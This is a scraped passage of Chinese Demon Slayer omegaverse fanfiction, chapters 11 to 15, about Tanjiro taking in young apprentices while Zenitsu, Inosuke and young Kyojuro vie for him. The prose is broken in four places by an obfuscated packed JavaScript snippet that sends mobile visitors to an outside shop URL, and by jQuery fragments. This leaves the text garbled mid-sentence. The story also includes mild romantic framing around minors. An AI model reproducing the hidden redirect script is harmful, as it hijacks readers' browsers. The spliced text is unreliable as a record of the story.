自己太懦弱了。 啊,对,没错。 锖兔已经分化好了。 是个Alpha。 怎么全是Alpha。 “不过真的没有想到,鳞泷师父的腰竟然在这个时间正好受伤了,”炭治郎有些发愁地说,“这样的话,义勇也只能跟我一起修炼了吗……有点不是很自信,我还从来没有做过培育师的工作。” “没有关系的!鳞泷师父说了,以前他是怎么训练您的,您直接照本宣科就可以了!师父说他对每个孩子都是那么训练的!” 炭治郎:“……?” 每个人都那么修炼的吗? 那他们到底是怎么做到劈开那块巨石的? 自己当初都是在锖兔的灵魂的训练之下,过了整整两年才成功劈开巨石的啊??? 等等,这么一说……现在锖兔多少岁? “你现在多少岁了,锖兔?” “我今年十三岁了!日柱大人!在四年之前,您刚成为鬼杀队的成员的时候救了我!” 啊,十三岁的话刚好是原来的世界里,锖兔死去的年纪。 现在不知道最终选拔的山里还有没有手鬼了,不过这一次应该不会有那种事情发生了吧…… 等等,自己救了锖兔? 四年前?刚刚成为鬼杀队的成员? 炭治郎有点懵,他问道:“我成为鬼杀队成员的年纪是多少岁……?” 锖兔理所当然地回答:“日柱大人是十三岁的时候成为了鬼杀队的正式成员!十六岁以最年轻的年纪成为了柱,现在日柱大人您十七岁了!” 炭治郎:“?????” 他本来以为自己现在最起码二十多岁了!结果才十七岁吗!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050879|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那善逸多少岁? 善逸十八岁? 善逸比他高一个头啊???? 啊不对,一定是因为自己的身高还没有发育完全,绝对是这么回事! 他的身高他自己已经看过了! 比起上辈子的义勇先生来说都差不多高了,那等他发育完全了之后,一定会比义勇先生还高! 炭治郎不自觉地望了一眼旁边只到自己胸口的富冈义勇,然后用鼻子满足地呼出了一口气。 太好了,自己可以比义勇先生高! 抬头看了一眼突然好像很开心的灶门先生,富冈义勇一头问号。 灶门先生还伸出手,轻轻地摸了一下他的头,从喉咙里发出了哼哼两声满足的轻响,然后就昂首挺胸地往前走。 虽然不知道发生了什么,但是好可爱。 “灶门先生……”富冈义勇忍不住开口。 “呀!!!!!!!!” 一声女孩的尖叫声划破了天际,炭治郎脸上的轻松表情立刻消失得无影无踪,瞬间变得严肃起来。 “日柱大人!这是……”锖兔也停下了脚步。 “有可能是鬼,我去看一眼。”炭治郎的手已经放在了日轮刀的刀柄上。 他不放心将富冈义勇一个人留在原地,便对身边的少年说:“锖兔,你和义勇在这里等着。” “不!日柱大人!我也要去!!” “灶门先生,我也可以去的。” 锖兔和富冈义勇几乎同时开了口。 “不行,你们留在原地,你们的速度不够快。”炭治郎直接拒绝了他们。 “我知道了,我们会留在原地的。”锖兔虽然嘴上这么说,但炭治郎闻到了属于说谎的味道。 炭治郎:“……” 看来是肯定打算跟过去了。 他又把目光放在了富冈义勇的身上。 富冈义勇没有说话,只是默默地把头扭到了另外一边,不去看他。 炭治郎无奈地叹了口气妥协了,“你们跟过来也行,注意一点安全。” 他说着,身体一转就朝着尖叫声的方向飞奔而去。 身后,锖兔大喊了一声:“是!” 他喊完了之后,转头望向旁边的富冈义勇,问道:“你能跟上吗?” 富冈义勇没有说话,只是迈开腿,沉默地朝着炭治郎消失的方向追了过去。 - 散发出浓重血腥味的地方,是一座山脚下的房子。 房子周围还飘散着很多草药的味道……是药剂师的家吗? 炭治郎一刻不停地冲进了玄关,那股属于鬼的腐臭味和血腥味,清晰地从左边的房间传来! 炭治郎没有丝毫犹豫,他的日轮刀已经被握在了手上。 在看到房间中正朝着一对姐妹袭击而去的鬼之后,他毫不留情地挥刀,瞬间就斩断了它的脖子! “有没有受伤!”炭治郎回过头,对着那对惊魂未定的姐妹问道。 借着从窗户透进来的月光,他看清了她们的样子。 那对姐妹的头顶都带着蝴蝶形状的发卡,其中有着黑色长发的姐姐他没有见过,但是那个留着短发的妹妹…… 忍小姐???? 12.第 12 章 时间回到两天前。 炼狱府邸 从日柱府邸冲回家之后,杏寿郎直冲槙寿郎的房间,猛地拉开了房门。 “父亲!”杏寿郎喊道。 槙寿郎才刚起床,他坐在被子里,一只手插进衣服里挠了挠肚子,打了个大大的哈欠,不耐烦道:“一大早的做什么,吵死了。” “现在已经快中午了!父亲!” 啊,快中午了吗。 槙寿郎看了一眼外面的天色,“那也还是早上,鬼杀队都是晚上工作白天睡觉的。” “但是父亲现在已经不是鬼杀队的成员了!你这样的作息母亲大人会说你的!” 槙寿郎的动作僵了一下,他“哈?”了一下,“这个家是我做主!她不可能会有意见的!” 在槙寿郎说完这句话之后,他看到站在门口的杏寿郎突然转过头,对着门外的走廊深深鞠了一躬,“母亲大人!” 坏了!被夫人听到了! 槙寿郎吓得直接坐直了身体。 他竖起了耳朵,等着瑠火走过来。 然而过了一会儿后,既没有听到瑠火说话的声音,也没有听到瑠火走路的声音,槙寿郎又放松了下来,恢复了那副懒散的样子,“你别想用你的母亲来吓我,这个家的家主可是我,我是不可能怕你的母亲的。” “是这样吗?槙寿郎大人。” 瑠火清冷的声音突然在门口响起。 槙寿郎感觉自己身上的毛都要竖起来了。 夫人什么时候过来的! 难道杏寿郎刚刚真的看到了夫人吗!! 只不过夫人刚刚没有说话也没有走过来! 坏了,自己退役之后真的懈怠了,竟然连夫人的脚步声都听不到了!!! 浑身冷汗的槙寿郎看到瑠火走到了门口,伸手低头摸了摸杏寿郎的脑袋,温和地问:“今天的锻炼已经结束了吗?” 杏寿郎回答:“是的!今天我有一些想要问的东西,师父也要送富冈去养育师的地方,我就先回来了!” “那个……夫人……?” 瑠火看都没看房间里的槙寿郎,她对着儿子笑了一下,“吃过早饭了吗?” “吃过了!师父做了很好吃的红薯饭!还做了很好吃的天妇罗!以及很好吃的鲑鱼萝卜!师父做的饭非常美味!” “这样就好。”瑠火说完,就打算转身离开。 槙寿郎连滚带爬的从被窝里钻了出来,狼狈的跑到了门口,对着瑠火颤颤巍巍地伸出一只手,“瑠火……?!” 瑠火转过头,脸上没有什么表情,问道:“怎么了吗,槙寿郎大人?” “我、我刚刚说的东西都是假的,不是你想的那样!”槙寿郎急忙解释。 瑠火点了点头,“我知道了。” 然后转身就走了。 槙寿郎:“……!!!!” 完蛋了。 杏寿郎双手环在胸前,看着自己的父亲,“父亲大人!母亲生气了!” 他的声音很大,吵得槙寿郎耳朵疼。 “我知道!不用你重复!” “我有事情想要拜托父亲!”杏寿郎说。 槙寿郎:“……” 为什么突然说这个? “你有什么要拜托我的?……算了,你说说吧。” “我想要知道我们家里有没有一个有男子气概的,光明磊落,喜欢吃红薯饭的Alpha中的Alpha!和师父差不多年纪的那种!” 槙寿郎:“……?” 他把双手插在袖子里,问道:“你突然问这个做什么?” “富冈似乎喜欢师父!但是他的年纪比师父小了四岁!而且比师父还要矮!师父如果真的要找一个Alpha,我觉得应该找我说的那种样子的!” 槙寿郎蹲在了地上,有点无语地看着自己的儿子。 ……别的就算了,为什么还有一个喜欢吃红薯饭? 你小子直接说你喜欢灶门不可以吗? 这么想着,槙寿郎开口:“喂,杏寿郎……” “在!父亲!” 与自己大儿子单纯清澈且十分愚蠢的眼睛对上后,难得涌起了一丝父爱的槙寿郎犹豫了。 自己要告诉他吗……他才十二岁啊,距离可以登记结婚的年纪还有五年,灶门倒是能登记结婚了…… 提前定下来也挺好。 不,不对,十二岁的小孩真的知道什么是喜欢么? 他应该只是对灶门那小子的憧憬吧? 毕竟憧憬强者是很正常的事情。 不不不不,灶门那小子是一个很优秀的Omega,如果由他成为炼狱家新的家主的夫人也不错。 就算只是憧憬的话日后也会成为喜欢的,他没必要那么一杆子打死。 而且让十二岁的孩子知道什么是喜欢也太早了吧?他都还没有分化第二性别。 虽然做了好几次的检查,医生都说杏寿郎肯定是一个等级很高的Alpha,但万一是个Beta或者Omega呢……? 啊不行,要是哪个Omega长杏寿郎这样自己得做噩梦。 而且只要是遗传了他们家发色和瞳色的孩子最后都会是Alpha,这个应该是不用担心的。 “父亲?”杏寿郎疑惑地喊了一声槙寿郎。 “你是便秘了吗!表情变来变去的!如果便秘了的话我可以告诉母亲大人一下,她一定会有办……” “你给我安静一点!”被杏寿郎喊回神的槙寿郎伸手捂住了杏寿郎的嘴巴。 杏寿郎点了点头。 望着杏寿郎那张脸,槙寿郎感觉自己仅剩的一点父子情分,好像就这么消失了。 气得磨了磨牙,槙寿郎说,“我们家没有那种亲戚。” “真是可惜!那我们有认识那样的人吗!” “我有认识这样的人,但是你没有。” 杏寿郎眼睛一亮,“父亲可以将那个人介绍给我认识吗!我帮师父把把关!” 槙寿郎指着杏寿郎的鼻子,额头上的青筋都跳了跳,“你给我听好了,臭小子。” 杏寿郎认真地点了点头。 “你刚刚那些词,从头到尾说的都是你自己,知道了么?臭小子。”槙寿郎一字一句地说道。 杏寿郎震惊地睁大了眼睛,“原来我是Alpha中的Alpha吗!原来在父亲的眼中竟然对我寄予如此厚望!嗯!我会努力的!” 槙寿郎:“……” 杏寿郎转头就准备走。 但临走之前,他还是不甘心地回头望了一眼槙寿郎,问道:“父亲,真的没有那样的Alpha吗?” 槙寿郎斩钉截铁地说:“没有,唯一一个最符合的只有你。” “真奇怪啊……”杏寿郎自言自语道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054953|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我做过一个梦,梦里的师父才十五岁。那个梦里有一个明显是我们家的Alpha的男性,他们在一辆列车上,师父靠在他的肩膀上睡觉。那个男性我觉得就很适合师父啊!” 槙寿郎长长地叹了一口气,“你给我听好了。” 杏寿郎认真的点了点头。 “我们家,没有那样的亲戚,”槙寿郎一字一顿地说,“你的梦里的那个男人,肯定是你自己,知道了吗!” 杏寿郎没有动作。 “喂,听到了没?发什么愣。”槙寿郎催促道。 杏寿郎还是没有任何动作,就那么直直地站着。 槙寿郎觉得奇怪,伸手推了他一下。 就在这一瞬间,杏寿郎的脸以肉眼可见的速度红了个透,一道温热的液体从他的鼻子里流了出来。 槙寿郎:“????” “你这个小子到底脑子里想了什么东西啊!!!怎么鼻血都流出来了!!!瑠火!!!!!!你儿子流鼻血了!!!!” “哈哈哈哈哈父亲!不是什么大事!” 杏寿郎抹了一把鼻子,“我只是想到了我和师父结婚的场景而已!我明白了!我一定会努力成为与师父相称的Alpha中的Alpha的!” - 时间来到现在。 日柱府邸 善逸百无聊赖地蹲在日柱府邸的门口,用一根小树枝在地上划拉着。 香奈乎从门口路过,善逸看到她之后眼睛一亮,拖长了声音喊道:“小香奈乎~” 香奈乎停下了脚步,转头望向他。 “你有看到炭治郎吗?我已经蹲了他两天了都没有看到他。” 善逸把下巴搁在膝盖上,有气无力地说,“问了啾太郎它也不知道炭治郎在哪里。我过两天就又要出去出任务了,我好想炭治郎啊,还想出门之前再吃一顿炭治郎做的饭呢……” 他说着,抬头望向了香奈乎,等着香奈惠的回答。 香奈乎摇了摇头。 善逸失望地叹了口气,嘟囔着:“炭治郎究竟去哪里了啊……我好想……嗯?” 他的耳朵动了动,好像听到了熟悉的声音。 善逸一下子从地上站了起来,朝着路的方向望了过去。 香奈乎也顺着他看的方向望了过去。 远远的,他们看到坡子下面露出了炭治郎的暗红色的长发,他正朝着这边走来。 善逸的眼睛瞬间就亮了,他张开双臂就冲了上去,大喊着:“炭治郎我好想你啊!!!” 他本来想直接扑到炭治郎身上把他紧紧抱住,然而,在看到跟在炭治郎身边的一圈小孩之后,他猛地刹住了脚步,惊叫了起来。 “炭治郎????你去哪里了???你不是送富冈给鳞泷先生了吗!怎么富冈不但回来了!你还带回来这么多小孩????” 有着一头肉色头发的小孩朝他鞠了一躬,“你好!鸣柱大人!我是日柱大人新的继子!锖兔!” 本来应该被送走的富冈义勇牵着炭治郎的手没有说话。 躲在炭治郎身后的那对姐妹则偷偷地望了一眼善逸。 妹妹皱着眉头,紧紧抓着姐姐的衣服。 姐姐则是安抚性地拍了拍妹妹的头,然后站出来,礼貌地说:“您好,我叫做蝴蝶香奈惠,这是我的妹妹,蝴蝶忍。” 善逸:“咦??????????” 13.第 13 章 炭治郎坐在日柱府邸后院的缘侧上,他的旁边坐着善逸。 善逸一双手臂从后面伸过来,揽住他的脖子,把自己的脸颊紧紧地凑在了炭治郎的脸上哭唧唧的对炭治郎撒娇。 “炭治郎怎么一走走那么多天啊,我好想你啊炭治郎。炭治郎你想不想我?你一定想我的吧?你不可能不想我的,对不对对不对对不对?” 他每问一个“对不对”,还用脸颊用力地蹭一下炭治郎的脸。 现在正是夏日,天气闷热,炭治郎伸手推着善逸的头,说道:“太近了善逸……而且好热。” 善逸僵住了。 他呆愣着被炭治郎推开了一点距离,随后发出了一声尖叫。 “呀!!!!!!!炭治郎你怎么回事!你怎么出门一趟回来变得这么冷漠了!!!你以前从来不会这么对我的!!!!” 他说着,眼泪真的从眼眶中涌了出来。 善逸转过头,望向坐在离他们有一段距离的香奈乎,大声控诉:“小香奈乎!!!你看看炭治郎!!!” 香奈乎侧过头望了一眼他们,只是笑着,没有说话。 炭治郎拍了拍善逸不知不觉间又收紧了、掐着他脖子的手,“松开一点,善逸,我要喘不过来气了。” 善逸看炭治郎的脸色好像真的不太好,这才不情不愿地把他放开了。 炭治郎这才松了一口气。 等他缓过来之后,松开了他的善逸的眼角还挂着泪珠,鼻子也红红的,时不时地就掉一滴眼泪下来。 ……搞得好像他做了什么错事一样。 不,他只是让善逸放开他而已,这并不算是什么错事。 难道是因为身体不舒服? 没有闻到善逸的身上有血腥味,说不定是内伤!如果是内伤就糟糕了! 善逸说不定是刚出完任务,身体还在不舒服的时候就过来看他了,他竟然还这么冷漠…… 这么想着,炭治郎感觉自己的良心一抽一抽的疼。 他连忙在善逸身上摸索着,关切地问:“善逸,你哪里不舒服吗?” 还在装哭的善逸,在炭治郎的手摸到他小腹的时候,脸瞬间涨得通红,也顾不上装哭了,结结巴巴地说:“炭、炭炭炭炭治郎!我、我没事!我很健康!” 可以闻出善逸不是在撒谎的炭治郎松了一口气下来。 还好,不是身体的问题。 他叮嘱道:“我知道了,但是如果善逸不舒服的话一定要跟我说。” 善逸愣愣地望着炭治郎温柔的脸。 炭治郎这么温柔……自己偶尔利用一下炭治郎的温柔应该没有关系吧? 炭治郎一定会原谅他的。 现在的炭治郎看起来呆呆的……自己一定可以成功的。 反正现在的炭治郎也是原来的炭治郎,自己现在如果做了什么的话也不算出轨。 虽然主公和炭治郎都觉得他是换了一个世界,但他绝对不是换了一个世界,只是失忆了而已。 对于炭治郎只是失忆这件事情,善逸十分的肯定。 没有什么东西能逃过他的耳朵。 等到炭治郎恢复记忆之后生米煮成熟饭了再跟他道歉好了。 这么想着,善逸紧张地咽了一口唾液,开口道:“炭治郎!” “嗯?怎么了么?善逸。” 善逸用自己的两只手握住了炭治郎的双手,将它们举在了胸前。 酝酿了一下,善逸想了上半辈子所有的痛苦的事情之后才让自己没有笑出来,他用一种无比悲痛的语气说:“其实我已经快要死了!爷爷说想要在我死前看到我娶老婆!但是我现在并没有关系好到可以结婚的对象!所以可以请炭治郎跟我结婚吗!” 炭治郎皱起了眉头,善逸这一长段话里,都充满了说谎的味道啊…… 但是他们都是男性,现在这个时代应该也不能两个男人结婚。 只是为了让善逸开心的话,答应下来应该并不是什么大事。 这么想着,炭治郎开口道:“可……” 善逸的眼睛亮了起来。 快答应! 快答应下来! “炭治郎,不可以答应他。”香奈乎突然开口说道。 炭治郎疑惑地望了过去。 “讨厌啦小香奈乎!”计划被打乱了的善逸叫了起来。 “为什么要这个时候突然出声!炭治郎答应了的话不就是我的媳妇了吗!你好过分好过分好过分啊!” “不……善逸,男人是不能够成为媳妇的,也不能够成为老婆。”炭治郎说。 他这话一说完,就看到善逸和香奈乎都用一种奇怪的眼神朝着他望了过来。 善逸开口道:“你在说什么啊……男人当然是可以……” “师父!您交代的西瓜我买回来了!”锖兔的声音,打断了善逸的话。 炭治郎回过头,望向了门口的方向。 回来了日柱府邸后,他第一件事先交代了他们几个去附近的镇子里去买西瓜,也想借此看看几个人的体力如何。 锖兔手上提着一个大西瓜,已经经过了鬼杀队基础训练的他,即便是手上拿着重物也依旧健步如飞。 比他慢一点的是富冈义勇,他的脸色微微发红,汗水也顺着他的额头流下。 蝴蝶姐妹则跟在最后,她们的头发都被汗水浸湿了,贴在脸颊和脖子上。 “谢谢你们,”炭治郎连忙说,“我带你们去清洗一下,待会一起吃西瓜,好吗?” “好的!”锖兔回答。 富冈义勇点了点头。 蝴蝶忍还是皱着眉头,尽力地让自己躲在姐姐的身后。 蝴蝶香奈惠无奈地摸了摸妹妹的头,然后对炭治郎笑了一下,“麻烦您了,日柱大人。” 炭治郎站起来,带着他们去院子里的井边洗手洗脸。 善逸也跟了过去,他好奇了有一会了,但是之前有更重要的事情要问,就没有问这些孩子的事情。 他偷偷摸摸的凑到炭治郎身边小声问:“炭治郎,这群小崽子们怎么回事啊?主公大人虽然说希望我们可以带回来一些新的孩子,将他们培育成新的柱,但你这一次出去也带回来的太多了吧……而且每个人身体素质都不错,就连那个小个子,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061770|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他指了指正在被姐姐用清凉的井水冲洗着手的蝴蝶忍,“她都可以在夏天徒步从这里走到镇子里,还能跟得上其他几个人。” 炭治郎顺着他指的方向“嗯”了一声,“忍小姐很厉害的。” 蝴蝶忍听到了炭治郎的话,耳朵动了动,脸也红了起来,把头埋得更低了。 炭治郎没有察觉到这些,他回头和善逸说:“锖兔是鳞泷师父的徒弟,他希望我可以收锖兔为继子,并且参加今年的最终选拔。” “诶……?那个肉色头发的小孩吗?”善逸问。 锖兔察觉到了他的目光,站直了身体,“您好!鸣柱大人!我是锖兔!” 善逸挠了挠头,“十三岁就参加最终选拔吗……是不是太早了?这个年纪和你参加的年纪一样了……现在的小孩都这么强的吗?我都是十六岁才参加最终选拔的啊……” 炭治郎也皱起了眉头。 锖兔的死亡不止是因为手鬼,还有对自己实力的高估导致的力竭。 他不知道自己能不能在一年之内,让锖兔学会对自身实力的把握,或者是杀死手鬼。 这两条路中的任意一条……不,归根究底,他都不知道这个世界还有没有手鬼的存在了。 善逸看炭治郎有些走神,又拽了拽炭治郎的袖子,“那富冈那个小鬼又是怎么回事啊?炭治郎?” “鳞泷师父好像最近身体不适,说让我来培育义勇。” 善逸:“……?” “等等等等,那那对姐妹呢?” “她们是我在回程的路上救的……我去的时候她们的父母已经被杀死了有一会了,她们躲在药草房里才勉强让鬼过了好久才发现了她们。” 善逸的脸上的表情不可思议,他望了望炭治郎又望了望那边的四个小鬼,“这些孩子你都要收为继子亲手培育吗?这样不太好吧?你是柱,柱的任务也很多吧?这样的话压力会很大的。” “而且你还有炼狱大叔的儿子,他都已经是你的继子了,你是要转型培育师吗……?” 炭治郎也在发愁这些事情,“不我还没有退居二线当培育师的打算……现在的问题确实是我不能做到培育他们所有人。” “要不那一对姐妹我帮你……”善逸想着,决定帮炭治郎照顾两个他在那几个小鬼中能接受的两个。 “那对姐妹交给我吧,炭治郎。” 香奈乎又一次打断了善逸的话。 一天之内被打断了两次的善逸整个人都跳了起来,“小香奈乎你怎么回事啊!!你今天怎么总打断我的话!!!你是不是对我有什么意见!!” 炭治郎却没有说话。 他望着香奈乎,愣了一下。 香奈乎想要忍小姐和香奈惠小姐……这是为什么? 是因为命运的齿轮吗? 曾经的香奈惠小姐和忍小姐收养了香奈乎,所以到了这个世界,轮到了香奈乎想要收养她们? 他问:“我可以知道为什么你想要她们吗?香奈乎?” 香奈乎笑了起来,摇了摇头,没有直面回答炭治郎的问题,“炭治郎想起来之后就会知道了。” 14.第 14 章 炭治郎疑惑地望着香奈乎,香奈乎却只是回以一个微笑,怎么也不愿意再开口说话。 善逸在旁边看到,凑了过来:“炭治郎,你不要问香奈乎了,她不想说的话,你怎么问她也不会说的。” 他话锋一转,对炭治郎问道,“说起来,你都十七岁了,还没有发热期吗?” 炭治郎感到困惑。 “发热期”这个词他好像在哪里听到过…… 是什么时候听过的? 而且,发热期是固定的发烧的时间吗? 这个应该是不可能是做到的吧…… 难道这个世界的善逸身体很差,隔一段时间就会发一次烧,自己为了安慰他,就骗他说所有人都有固定的“发热期”吗? 可是善逸的耳朵那么灵,应该能听出来是谎话吧? 啊……也不一定,他可能是在善逸发高烧烧得迷迷糊糊的时候说。 那样的话他不一定能分辨得出来是真话还是假话。 这么想着,炭治郎坦然地回答:“嗯,我还没有发热期。” 善逸拖长了声音“诶——”了一声。 “这样啊……如果炭治郎到了发热期的话一定要告诉我,我来帮你。” 虽然善逸身上散发着一股不怀好意的气味,但善逸是一个好人,他应该只是想要趁着自己生病的时候捉弄一下自己。 自己是长男,小时候生病的时候也被竹雄他们捉弄过,没有关系。 “好的,到时候就麻烦你了,善逸。” 炭治郎这句话说完之后看到面前的善逸直愣愣的望着他,脸上写满了不可思议。 善逸怎么了? 为什么突然呆住了? 自己是不是说了什么不得了的话? 还是说善逸终于发现自己是骗他的了……因为这一次的自己的说谎的味道很浓吗? 有点心虚的炭治郎伸出一只手,在善逸的面前挥了挥,“善逸?” 灵魂出窍了的善逸回过了神。 他用两只手紧紧抓住了炭治郎的那只手,跪在了地上。 “我明白了!” 炭治郎:“?” 明白什么了? “请放心好了,我一定会和炭治郎一起照顾好爸爸妈妈和弟弟妹妹们的,就让我们一起携手走向美好的未来!” 炭治郎:“……?” 为什么突然说这个? 自己这个时候应该说好的吗? 应该说好的吧…… 毕竟善逸看起来很认真,而且也不是什么很坏的事情。 但是他总有种好像答应下来会发生什么不得了的事情的感觉。 就在纠结的时候,他的肩膀被另外一只手搭了上来。 炭治郎回头望了过去,笑了起来,“伊之助,你做完任务回来了吗?” 野猪头套被挂在了脖子后的伊之助“嗯”了一声,“俺回来了,俺要吃天妇罗炸虾。” “我知道了,今天晚上就在我这里吃饭吧?” “那俺还要吃炸猪排。” “这样的话晚上就做炸猪排,天妇罗和土豆炖菜吧,善逸和香奈乎要留下来一起吃吗?” 香奈乎嗯了一声,她指了指那边的几个孩子,和炭治郎说,“我先去找忍大人和香奈惠大人。” 炭治郎眨了眨眼,“为什么要喊她们忍大人和香奈惠大人,香奈乎?” “因为是炭治郎告诉我的啊。”香奈乎说着,朝着井边走了过去。 自己告诉她的……? 炭治郎望着香奈乎的背影,皱起了眉头。 被伊之助打断了的善逸脸上的傻笑消失了。 他站了起身,不善地看着伊之助,“你现在回来做什么?” “哈?”伊之助莫名其妙地看着他,“俺任务做完了回来找俺媳妇,多正常。” “炭治郎已经答应我了。” 伊之助嗤了一声。 他直起身子,炭治郎这才发现,不只是善逸,伊之助也比他高了一个头。 伊之助伸手把炭治郎往自己的身边揽了过去,炭治郎满头雾水地被他按在了结实的胸肌上。 伊之助用空着的那只手的拇指指着自己,“炭治郎是俺的,这是几年前他就答应下来的!” 炭治郎:“……?” 这个世界的他答应了伊之助什么东西? 他脑子里想着这个问题,还没问出口善逸已经问了出来:“炭治郎答应了你什么东西?” 伊之助昂首挺胸,无比自豪地说:“炭治郎说要给俺做一辈子饭!” 炭治郎:“。” 善逸:“。” 善逸笑了起来,“恭喜你了呢,从野猪变成家猪了。” 他金色的双瞳在伊之助的身上扫了一下,随后嗤笑出声。 他一手环住自己的腰,另一只手捂住了嘴巴,腰部微微用力,只用眼角向下撇着伊之助。 非要让炭治郎形容的话就是这是一个很欠揍的姿势。 他不能说出的话更欠揍吧? 炭治郎有种不好的预感。 “我就不一样了,我可是以炭治郎的丈夫的身份被他接受了……啊当然,我不会介意家里多养一只宠物猪的。” 预感成真,炭治郎惊呼出声,“……善逸???” 善逸这样真的不会被揍吗? 总不能伊之助现在的脾气很好了吧? 伊之助果不其然忍不了这种嘲讽,虽然他可能听不懂。 放开了炭治郎后,伊之助朝着善逸猛地撞了过去。 善逸毫不费力地躲了开来,嘴上还不饶人:“野猪就是野猪,几年下来毫无长进,只会横冲直撞。” 他话音刚落,就被伊之助一拳揍在了肚子上。 伊之助叉着腰哈哈大笑:“哈哈哈哈!纹逸!太弱了!” 善逸捂着肚子,咬牙切齿,“你这家伙……” 他趁着伊之助大笑的时候直起身,两只手指插进了伊之助的鼻孔。 本来已经打算去中间拦着他们的炭治郎:“……” 看起来应该不会打得多激烈。 炭治郎旁观了一会儿,果断地转身走进了厨房。 过了一会儿,他端着切好的西瓜走到了井边。 “来吃西瓜吧。”炭治郎说。 “谢谢!日柱大人!”锖兔道谢后大大方方的拿了一块西瓜走了。 剩下的三个孩子都没有动。 炭治郎拿了一块,放到了富冈义勇的手里。 富冈义勇的脸红了一下。 锖兔的手肘捅了捅他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065538|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“快说谢谢日柱大人啊,愣着干嘛。” 富冈义勇望了锖兔一眼。 这个人说的没有错,他应该跟灶门先生道谢。 灶门先生好像更喜欢自己喊他炭治郎一些。 这么想着,富冈义勇抬起头,眼睛弯了起来,嘴角也勾起了一个大大的弧度,对着炭治郎说:“谢谢你,炭治郎。” 炭治郎愣在了原地。 他的眼前有点恍惚,仿佛看到了自己认识的那个义勇先生…… 不,义勇先生从来没有笑得这么开心过。 自己可能再也看不到义勇先生了。 不,没事。 这个世界的义勇先生可以绽放出这么灿烂的笑容,他应该开心的。 这么想着,炭治郎单膝跪在了地上,伸出手揉了揉富冈义勇的头,“不用谢,义勇先生。” 富冈义勇脸上的笑容落了下来。 为什么灶门先生明明在笑,却好像要哭了出来一样? 他的目光明明落在了自己的身上,却又仿佛透过了自己,在看另外一个人。 他看到了谁? 是谁让灶门先生那么难过的? 富冈义勇的信息素有点控制不住地往外泄露。 他咬了咬牙,装模作样地咬了一大口西瓜,拼命地将那股外泄的信息素压了回去。 稳定了一下情绪后,炭治郎走到了香奈乎的旁边。 香奈乎不知道从哪里找来了一段绳子,正和蝴蝶忍以及蝴蝶香奈惠在玩翻花绳。 看到炭治郎来了,香奈乎推了推忍和香奈惠。 “来吃西瓜吗?”炭治郎问。 香奈惠有些迟疑,“可以吗?我们已经给灶门先生添了很多的麻烦了。” 蝴蝶忍没有说话,但是眼睛已经黏在了红色的瓜瓤上,露出了一丝渴望。 “没有关系的,只是一个西瓜而已,而且这也是你们出去买回来的。” 香奈惠这才笑着对炭治郎鞠了一躬,“谢谢您。” 她从盘子里挑了一块大一些的和一块小一些的,将那块小一些的留给自己,又将另外一块又大又红的放到了蝴蝶忍的手里。 “姐姐,我吃小的。”蝴蝶忍说。 香奈惠连忙咬了一口自己手上的那一块,含糊地说:“诶?小忍要吃更小的那一块吗?但是我已经吃了诶。” 蝴蝶忍的嘴巴撅了起来,她的眼睛有点发红,“姐姐不用这么让着我……我才是Alpha,Alpha应该照顾别人才是。” “没错,但是我也是你的姐姐。” 她这样说着,蝴蝶忍的眼睛更红了一点。 啊这样可不行。 炭治郎和香奈乎对视了一眼,一人拿了一块西瓜,塞到了她们姐妹的手里。 “吃这个。” 他们给的都是靠近西瓜中心,最甜的地方。 香奈惠连忙想要把那一块还回去,“我已经有一块了,不需要了,太麻烦灶门……” 香奈乎的手指轻轻点在了她的嘴唇上,阻止了她接下来的话。 “香奈惠和小忍以后是我的继子,你们没有麻烦任何人,你们是我的家人。” 香奈惠和小忍愣愣地抬起了头,望着香奈乎,随后又低下了头,默不作声地吃着手上的西瓜。 15.第 15 章 因为今天的人比较多,晚上的菜就做的比较丰盛。 有义勇喜欢的鲑鱼萝卜,有伊之助喜欢的天妇罗。 善逸甚至点餐成功了鳗鱼?饭,他本身的想法是让炭治郎做给他一个人吃,最后虽然所有人都有,但也不差了。 下午的时候香奈乎特地去买了生姜佃煮回来,不过这个口味比较特殊,只有蝴蝶姐妹喜欢吃。 